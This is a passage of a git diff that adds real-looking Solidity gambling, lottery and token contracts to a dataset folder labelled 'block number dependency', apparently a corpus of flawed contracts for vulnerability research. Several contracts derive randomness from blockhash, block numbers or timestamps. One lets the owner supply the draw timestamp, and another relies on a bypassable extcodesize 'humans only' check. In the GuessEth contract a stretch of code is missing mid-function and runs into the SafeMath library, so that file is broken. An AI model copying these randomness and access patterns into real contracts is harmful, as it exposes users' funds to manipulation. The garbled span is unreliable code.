function divertDividendsToBankroll() + public + onlyOwner + { + bankroll.transfer(address(this).balance); + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1567.sol b/smart_contract_dataset/block number dependency/1567.sol new file mode 100644 index 0000000000000000000000000000000000000000..d5a9ab71561fff34944d220e1406eb7c6e5c9322 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1567.sol @@ -0,0 +1,395 @@ +pragma solidity ^0.4.24; + +contract Ownable { + address public owner; + + + constructor() public { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + owner = newOwner; + } + +} + +contract GuessEthEvents{ + event drawLog(uint,uint,uint); + + event guessEvt( + address indexed playerAddr, + uint[] numbers, uint amount + ); + event winnersEvt( + uint blockNumber, + address indexed playerAddr, + uint amount, + uint winAmount + ); + event withdrawEvt( + address indexed to, + uint256 value + ); + event drawEvt( + uint indexed blocknumberr, + uint number + ); + + event sponseEvt( + address indexed addr, + uint amount + ); + + event pauseGameEvt( + bool pause + ); + event setOddsEvt( + uint odds + ); + +} + +contract GuessEth is Ownable,GuessEthEvents{ + using SafeMath for uint; + + + + struct bnumber{ + address addr; + uint number; + uint value; + int8 result; + uint prize; + } + mapping(uint => bnumber[]) public bets; + mapping(uint => address) public betNumber; + + + mapping(address => uint[]) private playerBetBNumber; + + + struct winner{ + bool result; + uint prize; + } + + mapping(uint => winner[]) private winners; + mapping(uint => uint) private winResult; + + address private wallet1; + address private wallet2; + + uint private predictBlockInterval=3; + uint public odds=45; + uint public minBetVal=1 finney; + uint public blockInterval=500; + uint public curOpenBNumber=0; + uint public numberRange=100; + + bool public gamePaused=false; + + + + mapping(address => uint) Sponsors; + uint public balanceOfSPS=0; + address[] public SponsorAddresses; + + uint reservefund=30 ether; + + + + modifier isHuman() { + address _addr = msg.sender; + uint256 _codeLength; + + assembly {_codeLength := extcodesize(_addr)} + require(_codeLength == 0, "sorry humans only"); + _; + } + + constructor(address _wallet1,address _wallet2) public{ + wallet1=_wallet1; + wallet2=_wallet2; + + curOpenBNumber=blockInterval*(block.number.div(blockInterval)); + } + + function pauseGame(bool _status) public onlyOwner returns(bool){ + gamePaused=_status; + emit pauseGameEvt(_status); + } + + function setOdds(uint _odds) isHuman() public onlyOwner returns(bool){ + odds = _odds; + emit setOddsEvt(_odds); + } + function setReservefund(uint _reservefund) isHuman() public onlyOwner returns(bool){ + reservefund = _reservefund * 1 ether; + } + + function getTargetBNumber() view isHuman() public returns(uint){ + uint n; + n=blockInterval*(predictBlockInterval + block.number/blockInterval); + return n; + } + + function guess(uint[] _numbers) payable isHuman() public returns(uint){ + require(msg.value >= _numbers.length.mul(minBetVal)); + + uint n=blockInterval*(predictBlockInterval + block.number/blockInterval); + + for(uint _i=0;_i < _numbers.length;_i++){ + bnumber memory b; + + b.addr=msg.sender; + b.number=_numbers[_i]; + b.value=msg.value/_numbers.length; + b.result=-1; + + bets[n].push(b); + } + + + if(utils.inArray(playerBetBNumber[msg.sender],n)==false){ + playerBetBNumber[msg.sender].push(n); + } + + emit guessEvt(msg.sender,_numbers, msg.value); + + return _numbers.length; + } + + + function getPlayerGuessNumbers() view public returns (uint[],uint[],uint256[],int8[],uint[]){ + uint _c=0; + uint _i=0; + uint _j=0; + uint _bnumber; + uint limitRows=100; + + while(_i < playerBetBNumber[msg.sender].length){ + _bnumber=playerBetBNumber[msg.sender][_i]; + for(_j=0 ; _j < bets[_bnumber].length && _c < limitRows ; _j++){ + if(msg.sender==bets[_bnumber][_j].addr){ + _c++; + } + } + _i++; + } + + uint[] memory _blockNumbers=new uint[](_c); + uint[] memory _numbers=new uint[](_c); + uint[] memory _values=new uint[](_c); + int8[] memory _result=new int8[](_c); + uint[] memory _prize=new uint[](_c); + + if(_c<=0){ + return(_blockNumbers,_numbers,_values,_result,_prize); + } + + + + uint _count=0; + for(_i=0 ; _i < playerBetBNumber[msg.sender].length ; _i++){ + _bnumber=playerBetBNumber[msg.sender][_i]; + + for(_j=0 ; _j < bets[_bnumber].length && _count < limitRows ; _j++){ + if(bets[_bnumber][_j].addr == msg.sender){ + _blockNumbers[_count] = _bnumber; + _numbers[_count] = bets[_bnumber][_j].number; + _values[_count] = bets[_bnumber][_j].value; + _result[_count] = bets[_bnumber][_j].result; + _prize[_count] = bets[_bnumber][_j].prize; + + _count++; + } + } + } + + + return(_blockNumbers,_numbers,_values,_result,_prize); + } + + + function draw(uint _blockNumber,uint _blockTimestamp) public onlyOwner returns (uint){ + require(block.number >= curOpenBNumber + blockInterval); + + + curOpenBNumber=_blockNumber; + uint result=_blockTimestamp % numberRange; + winResult[_blockNumber]=result; + + for(uint _i=0;_i < bets[_blockNumber].length;_i++){ + + + + if(bets[_blockNumber][_i].number==result){ + bets[_blockNumber][_i].result = 1; + bets[_blockNumber][_i].prize = bets[_blockNumber][_i].value * odds; + + emit winnersEvt(_blockNumber,bets[_blockNumber][_i].addr,bets[_blockNumber][_i].value,bets[_blockNumber][_i].prize); + + withdraw(bets[_blockNumber][_i].addr,bets[_blockNumber][_i].prize); + + }else{ + bets[_blockNumber][_i].result = 0; + bets[_blockNumber][_i].prize = 0; + } + } + + emit drawEvt(_blockNumber,curOpenBNumber); + + return result; + } + + function getWinners(uint _blockNumber) view public returns(address[],uint[]){ + uint _count=winners[_blockNumber].length; + + address[] memory _addresses = new address[](_count); + uint[] memory _prize = new uint[](_count); + + uint _i=0; + for(_i=0;_i<_count;_i++){ + + _prize[_i] = winners[_blockNumber][_i].prize; + } + + return (_addresses,_prize); + } + + function getWinResults(uint _blockNumber) view public returns(uint){ + return winResult[_blockNumber]; + } + + function withdraw(address _to,uint amount) public onlyOwner returns(bool){ + require(address(this).balance.sub(amount) > 0); + _to.transfer(amount); + + emit withdrawEvt(_to,amount); + return true; + } + + + function invest() isHuman payable public returns(uint){ + require(msg.value >= 0.1 ether,"Minima amoun:0.1 ether"); + + Sponsors[msg.sender] = Sponsors[msg.sender].add(msg.value); + balanceOfSPS = balanceOfSPS.add(msg.value); + + if(!utils.inArray(SponsorAddresses,msg.sender)){ + SponsorAddresses.push(msg.sender); + emit sponseEvt(msg.sender,msg.value); + } + + return Sponsors[msg.sender]; + } + + function distribute() public onlyOwner{ + if(address(this).balance < reservefund){ + return; + } + + uint availableProfits=address(this).balance.sub(reservefund); + uint prft1=availableProfits.mul(3 ether).div(10 ether); + uint prft2=availableProfits.sub(prft1); + + uint _val=0; + uint _i=0; + + for(_i=0;_i= a); + return c; + } +} + +library utils{ + function inArray(uint[] _arr,uint _val) internal pure returns(bool){ + for(uint _i=0;_i< _arr.length;_i++){ + if(_arr[_i]==_val){ + return true; + break; + } + } + return false; + } + + function inArray(address[] _arr,address _val) internal pure returns(bool){ + for(uint _i=0;_i< _arr.length;_i++){ + if(_arr[_i]==_val){ + return true; + break; + } + } + return false; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/164.sol b/smart_contract_dataset/block number dependency/164.sol new file mode 100644 index 0000000000000000000000000000000000000000..94bdc5d71a23663b198c04d15a2448aab9f4f395 --- /dev/null +++ b/smart_contract_dataset/block number dependency/164.sol @@ -0,0 +1,167 @@ +pragma solidity ^0.4.24; +contract BREBuy { + + struct ContractParam { + uint32 totalSize ; + uint256 singlePrice; + uint8 pumpRate; + bool hasChange; + } + + address owner = 0x0; + uint32 gameIndex = 0; + uint256 totalPrice= 0; + bool isLock = false; + ContractParam public setConfig; + ContractParam public curConfig; + + address[] public addressArray = new address[](0); + + event openLockEvent(); + event addPlayerEvent(uint32 gameIndex,address player); + event gameOverEvent(uint32 gameIndex,uint32 totalSize,uint256 singlePrice,uint8 pumpRate,address winAddr,uint overTime); + event stopGameEvent(uint totalBalace,uint totalSize,uint price); + + + constructor ( uint32 _totalSize, + uint256 _singlePrice + ) public { + owner = msg.sender; + setConfig = ContractParam(_totalSize,_singlePrice * 1 finney ,5,false); + curConfig = ContractParam(_totalSize,_singlePrice * 1 finney ,5,false); + startNewGame(); + } + + modifier onlyOwner { + require(msg.sender == owner,"only owner can call this function"); + _; + } + + modifier notLock { + require(isLock == false,"contract current is lock status"); + _; + } + + function isNotContract(address addr) private view returns (bool) { + uint size; + assembly { size := extcodesize(addr) } + return size <= 0; + } + + function updateLock(bool b) onlyOwner public { + + require(isLock != b," updateLock new status == old status"); + + isLock = b; + + if(isLock) { + stopGame(); + }else{ + startNewGame(); + emit openLockEvent(); + } + } + + function stopGame() onlyOwner private { + + if(addressArray.length <= 0) { + return; + } + uint totalBalace = address(this).balance; + uint price = totalBalace / addressArray.length; + for(uint i = 0; i < addressArray.length; i++) { + address curPlayer = addressArray[i]; + curPlayer.transfer(price); + } + emit stopGameEvent(totalBalace,addressArray.length,price); + addressArray.length=0; + } + + function transferOwnership(address newOwner) onlyOwner public { + if (newOwner != address(0)) { + owner = newOwner; + } + } + + function changeConfig( uint32 _totalSize,uint256 _singlePrice,uint8 _pumpRate) onlyOwner public payable { + + curConfig.hasChange = true; + if(setConfig.totalSize != _totalSize) { + setConfig.totalSize = _totalSize; + } + if(setConfig.pumpRate != _pumpRate){ + setConfig.pumpRate = _pumpRate; + } + if(setConfig.singlePrice != _singlePrice * 1 finney){ + setConfig.singlePrice = _singlePrice * 1 finney; + } + } + + function startNewGame() private { + + gameIndex++; + if(curConfig.hasChange) { + if(curConfig.totalSize != setConfig.totalSize) { + curConfig.totalSize = setConfig.totalSize; + } + if(curConfig.singlePrice != setConfig.singlePrice){ + curConfig.singlePrice = setConfig.singlePrice; + } + if( curConfig.pumpRate != setConfig.pumpRate) { + curConfig.pumpRate = setConfig.pumpRate; + } + curConfig.hasChange = false; + } + addressArray.length=0; + } + + function getGameInfo() public view returns (uint256,uint32,uint256,uint8,address[],uint256,bool) { + return (gameIndex, + curConfig.totalSize, + curConfig.singlePrice, + curConfig.pumpRate, + addressArray, + totalPrice, + isLock); + } + + function gameResult() private { + + uint index = getRamdon(); + address lastAddress = addressArray[index]; + uint totalBalace = address(this).balance; + uint giveToOwn = totalBalace * curConfig.pumpRate / 100; + uint giveToActor = totalBalace - giveToOwn; + owner.transfer(giveToOwn); + lastAddress.transfer(giveToActor); + emit gameOverEvent( + gameIndex, + curConfig.totalSize, + curConfig.singlePrice, + curConfig.pumpRate, + lastAddress, + now); + } + + function getRamdon() private view returns (uint) { + bytes32 ramdon = keccak256(abi.encodePacked(ramdon,now,blockhash(block.number-1))); + for(uint i = 0; i < addressArray.length; i++) { + ramdon = keccak256(abi.encodePacked(ramdon,now, addressArray[i])); + } + uint index = uint(ramdon) % addressArray.length; + return index; + } + + function() notLock payable public{ + require(isNotContract(msg.sender),"Contract not call addPlayer"); + require(msg.value == curConfig.singlePrice,"msg.value error"); + totalPrice = totalPrice + msg.value; + addressArray.push(msg.sender); + + emit addPlayerEvent(gameIndex,msg.sender); + if(addressArray.length >= curConfig.totalSize) { + gameResult(); + startNewGame(); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1673.sol b/smart_contract_dataset/block number dependency/1673.sol new file mode 100644 index 0000000000000000000000000000000000000000..b1f9f9bc77effd46c70b4f3ab795ffdedbbc6e8f --- /dev/null +++ b/smart_contract_dataset/block number dependency/1673.sol @@ -0,0 +1,466 @@ +pragma solidity ^0.4.24; + + + +contract ZTHReceivingContract { + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + +contract ZTHInterface { + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zlots is ZTHReceivingContract { + using SafeMath for uint; + + address private owner; + address private bankroll; + + + uint totalSpins; + uint totalZTHWagered; + + + uint contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + ZTHInterface private ZTHTKN; + + mapping (uint => bool) validTokenBet; + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHJackpot(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreeGreenPyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeWhitePyramids(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoGreenPyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoWhitePyramids(address _wagerer, uint _block); + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + modifier gameIsActive { + require(gameActive == true); + _; + } + + constructor(address ZethrAddress, address BankrollAddress) public { + + + ZTHTKNADDR = ZethrAddress; + ZTHBANKROLL = BankrollAddress; + + + owner = msg.sender; + bankroll = ZTHBANKROLL; + + + ZTHTKN = ZTHInterface(ZTHTKNADDR); + ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1); + + + ZTHTKN.approve(owner, 2**256 - 1); + + + validTokenBet[5e18] = true; + validTokenBet[10e18] = true; + validTokenBet[25e18] = true; + validTokenBet[50e18] = true; + + gameActive = true; + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function tokenFallback(address _from, uint _value, bytes ) public returns (bool){ + if (_from == bankroll) { + + contractBalance = contractBalance.add(_value); + return true; + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn); + return true; + } + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn) private { + + require(gameActive); + require(_zthToken(msg.sender)); + require(validTokenBet[_tkn.value]); + require(jackpotGuard(_tkn.value)); + + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + contractBalance = contractBalance.add(_wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 9999; + } else { + + + + result = random(1000000, spin.blockn, target); + } + + if (result > 476661) { + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else + if (result < 1) { + + profit = SafeMath.mul(spin.tokenValue, 500); + category = 1; + emit ThreeMoonJackpot(target, spin.blockn); + } else + if (result < 298) { + + profit = SafeMath.mul(spin.tokenValue, 232); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else + if (result < 3127) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10); + category = 3; + emit ZTHJackpot(target, spin.blockn); + + } else + if (result < 5956) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else + if (result < 8785) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else + if (result < 11614) { + + profit = SafeMath.mul(spin.tokenValue, 25); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else + if (result < 14443) { + + profit = SafeMath.mul(spin.tokenValue, 50); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else + if (result < 17272) { + + profit = SafeMath.mul(spin.tokenValue, 40); + category = 8; + emit ThreeGreenPyramids(target, spin.blockn); + } else + if (result < 20101) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else + if (result < 22929) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 10; + emit ThreeWhitePyramids(target, spin.blockn); + } else + if (result < 52332) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else + if (result < 120225) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else + if (result < 171146) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else + if (result < 222067) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else + if (result < 272988) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100); + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else + if (result < 323909) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else + if (result < 374830) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10); + category = 17; + emit TwoGreenPyramids(target, spin.blockn); + } else + if (result < 425751) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 19; + emit TwoWhitePyramids(target, spin.blockn); + } + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + contractBalance = contractBalance.sub(profit); + ZTHTKN.transfer(target, profit); + + + playerSpins[target] = playerSpin(uint200(0), uint48(0)); + return result; + } + + + + + + function jackpotGuard(uint _wager) + private + view + returns (bool) + { + uint maxProfit = SafeMath.mul(_wager, 500); + uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9); + return (maxProfit <= ninetyContractBalance); + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function balanceOf() public view returns (uint) { + return contractBalance; + } + + function addNewBetAmount(uint _tokenAmount) + public + onlyOwner + { + validTokenBet[_tokenAmount] = true; + } + + + function pauseGame() public onlyOwner { + gameActive = false; + } + + + function resumeGame() public onlyOwner { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwner { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwner { + bankroll = _newBankroll; + } + + function divertDividendsToBankroll() + public + onlyOwner + { + bankroll.transfer(address(this).balance); + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1698.sol b/smart_contract_dataset/block number dependency/1698.sol new file mode 100644 index 0000000000000000000000000000000000000000..63f39a3185ec8b6de55323ff5ea2943c1f67626a --- /dev/null +++ b/smart_contract_dataset/block number dependency/1698.sol @@ -0,0 +1,247 @@ +pragma solidity ^0.4.12; + +contract IMigrationContract { + function migrate(address addr, uint256 nas) returns (bool success); +} + + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract EVTCToken is StandardToken, SafeMath { + + + string public constant name = "EVTC"; + string public constant symbol = "ECoin"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 625; + + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function EVTCToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(100000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _eth) isOwner external { + if (_eth == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1714.sol b/smart_contract_dataset/block number dependency/1714.sol new file mode 100644 index 0000000000000000000000000000000000000000..46dc6efafe2ec45297daa5854a99dffb204cafff --- /dev/null +++ b/smart_contract_dataset/block number dependency/1714.sol @@ -0,0 +1,403 @@ +pragma solidity ^0.4.24; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 99; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint48(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + 